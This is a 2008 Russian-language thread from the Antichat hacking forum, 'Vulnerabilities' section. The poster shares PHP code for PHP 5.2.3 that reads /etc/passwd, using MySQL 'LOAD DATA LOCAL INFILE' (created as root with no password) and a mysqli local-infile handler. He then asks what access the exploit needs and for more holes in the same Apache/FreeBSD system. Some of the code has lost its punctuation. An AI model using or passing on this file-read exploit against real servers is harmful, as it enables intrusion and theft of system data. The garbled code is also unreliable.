ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Apache/2.0.63 (FreeBSD) PHP/5.2.3
  #1  
Старый 26.06.2008, 15:57
Аватар для fasty
fasty
Познающий
Регистрация: 09.05.2008
Сообщений: 67
Провел на форуме:
690048

Репутация: 13
По умолчанию Apache/2.0.63 (FreeBSD) PHP/5.2.3

Нашол уязвимость на php 5.2.3

PHP код:
<?php  file_get_contents('/etc/passwd');  $l mysql_connect("localhost""root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost""aaaa");  mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");  $result mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row chr(10);  ?>  MySQLi:  <?php  function r($fp, &$buf$len, &$err) { print fread($fp$len); }  $m = new mysqli('localhost''aaaa''''a'); $m->options(MYSQLI_OPT_LOCAL_INFILE1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close();  ?>
Что нужно для этого експлоита?доступ?
Может ктота подскажет еще уязвимости на эту систему)

Последний раз редактировалось fasty; 26.06.2008 в 19:01..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
FreeBSD 7; PCMCIA procedure *nix 16 17.07.2008 14:32
Новые сравнения производительности FreeBSD и Linux zythar Мировые новости 5 08.03.2008 23:27
Обзор новшеств в FreeBSD 7.0 zythar Мировые новости 2 28.02.2008 12:43
Вышла операционная система FreeBSD 6.3 Mr. P.S. Мировые новости 1 19.01.2008 00:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ